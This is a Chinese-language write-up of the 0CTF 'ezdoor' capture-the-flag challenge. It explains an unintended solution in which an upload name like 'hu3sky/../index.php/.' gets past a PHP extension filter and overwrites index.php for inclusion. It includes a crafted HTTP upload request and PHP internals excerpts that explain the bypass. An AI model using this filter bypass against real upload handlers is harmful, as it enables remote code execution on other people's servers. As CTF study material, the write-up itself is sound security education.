0ctf-ezdoor
今天搬砖的时候,突然看到了这道题,之前也看到过,没有深入学习。。于是想着来深入学习一下,关于非预期解/. 的绕过
题目链接
https://github.com/LyleMi/My-CTF-Challenges 
环境搭建
git clone https://github.com/LyleMi/My-CTF-Challenges.git 
- 切换到Dockerfile目录下
在Dockerfile里添加一行 RUN mkdir /var/www/html/sandbox/ 
- 然后运行 
docker build -t 0ctf-ezdoor . 
- 创建容器
docker run -dit -p 8585:80 --name 0ctf-ezdoor 0ctf-ezdoor  
题目分析
代码
首先理解代码的意思
首先会根据ip创建一个文件夹,然后创建一个index.php
然后是一些功能函数的定义
然后switch是一些功能
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
   | switch ($_GET["action"] ?? "") {   case 'pwd':     echo $dir;     break;   case 'phpinfo':     echo file_get_contents("phpinfo.txt");     break;   case 'reset':     clear($dir);     break;   case 'time':     echo time();     break;   case 'upload':     if (!isset($_GET["name"]) || !isset($_FILES['file'])) {          ...            break;   case 'shell':     ini_set("open_basedir", "/var/www/html/$dir:/var/www/html/flag");     include $dir . "index.php";     break;   default:     highlight_file(__FILE__);     break;     }
  | 
 
功能
- 查看工作目录
 
- 查看phpinfo
 
- 重置
 
- 打印时间
 
- 上传
 
- 将之前创建的index.php包含进来
 
upload功能
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
   |  case 'upload':     if (!isset($_GET["name"]) || !isset($_FILES['file'])) {       break;     }
      if ($_FILES['file']['size'] > 100000) {       clear($dir);       break;     }
      $name = $dir . $_GET["name"];     if (preg_match("/[^a-zA-Z0-9.\/]/", $name) ||       stristr(pathinfo($name)["extension"], "h")) {       break;     }     move_uploaded_file($_FILES['file']['tmp_name'], $name);     $size = 0;     foreach (scandir($dir) as $file) {       if (in_array($file, [".", ".."])) {         continue;       }       $size += filesize($dir . $file);     }     if ($size > 100000) {       clear($dir);     }     break;
   | 
 
检测文件名
1 2 3 4 5
   |     $name = $dir . $_GET["name"];     if (preg_match("/[^a-zA-Z0-9.\/]/", $name) ||       stristr(pathinfo($name)["extension"], "h")) {       break;     }
   | 
 
文件名字母数字开头,后缀里不能有h
也就是php|php3|php5等无法使用
然后移动文件
于是思路
- 上传index.php覆盖掉原来的index.php
 
- 利用shell功能进行文件包含
 
非预期解
这里主要学习非预期。预期参考
https://skysec.top/2018/04/11/0ctf-ezdoor/#%E9%A2%84%E6%9C%9F%E8%A7%A3
构造上传表单
1 2 3 4
   | <form action="http://52.36.15.23:8585/?action=upload&name=hu3sky/../index.php/." method="post" enctype="multipart/form-data">     <input type="file" name="file" />     <input type="submit" /> </form>
   | 
 
请求
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
   | POST /?action=upload&name=hu3sky/../index.php/. HTTP/1.1 Host: 52.36.15.23:8585 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Referer: http://52.36.15.23:8881/upload.php Content-Type: multipart/form-data; boundary=---------------------------292502680226301 Content-Length: 633 Connection: close Upgrade-Insecure-Requests: 1
  -----------------------------292502680226301 Content-Disposition: form-data; name="file"; filename="shell.php" Content-Type: text/plain
  <?php echo aaa; ?>
  -----------------------------292502680226301--
   | 
 

成功覆盖
漏洞分析
为什么上传index.php/. 能绕过
在函数file_get_contents 和函数move_upload_file的底层都会调用tsrm_realpath函数来处理相关文件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
   |  i = len;  // i的初始值为字符串的长度  while (i > start && !IS_SLASH(path[i-1])) {      i--;      // 把i定位到第一个/的后面  }  if (i == len ||      (i == len - 1 && path[i] == '.')) {      len = i - 1;      //  删除路径中最后的 /. , 也就是 /path/test.php/. 会变为 /path/test.php       is_dir = 1;      continue;  } else if (i == len - 2 && path[i] == '.' && path[i+1] == '.') {      //删除路径结尾的 /..      is_dir = 1;      if (link_is_dir) {          *link_is_dir = 1;      }      if (i - 1 <= start) {          return start ? start : len;      }      j = tsrm_realpath_r(path, start, i-1, ll, t, use_realpath, 1, NULL TSRMLS_CC);     // 进行递归调用的时候,这里把strlen设置为了i-1,
 
  | 
 
这个函数会自动递归的去除文件末尾的/. 我们上传的index.php/. 会变成index.php
如何覆盖原文件
当我们传入index.php/.虽然能够绕过检测,但是并不能覆盖原来的index.php文件,也就是说我们能上传其他php文件,但是shell函数只会包含index.php ,所以最终目的还是要我们能够覆盖掉index.php文件
zsx师傅:

1 2 3 4 5 6
   | f (VCWD_RENAME(path, new_path) == 0) {         successful = 1;     } else if (php_copy_file_ex(path, new_path, STREAM_DISABLE_OPEN_BASEDIR) == SUCCESS) {         VCWD_UNLINK(path);         successful = 1;     }
  | 
 
所以说我们覆盖失败的原因是我们的文件index.php/.经过tsrm_realpath函数去掉末尾/. 后为index.php该文件存在,lstat返回0,不会继续打开文件了
但是当我们传入的文件是,hu3sky/../index.php/.时,先经过之前的tsrm_realpath函数处理后,文件变为hu3sky/../index.php  注意。这个位置并没有调用 tsrm_realpath 函数来处理文件名了。所以说此时检测的文件就是hu3sky/../index.php此时lstat返回值是-1. 认为不存在该文件,,于是就导致了文件的写入
这里借用pupiles师傅的图


参考链接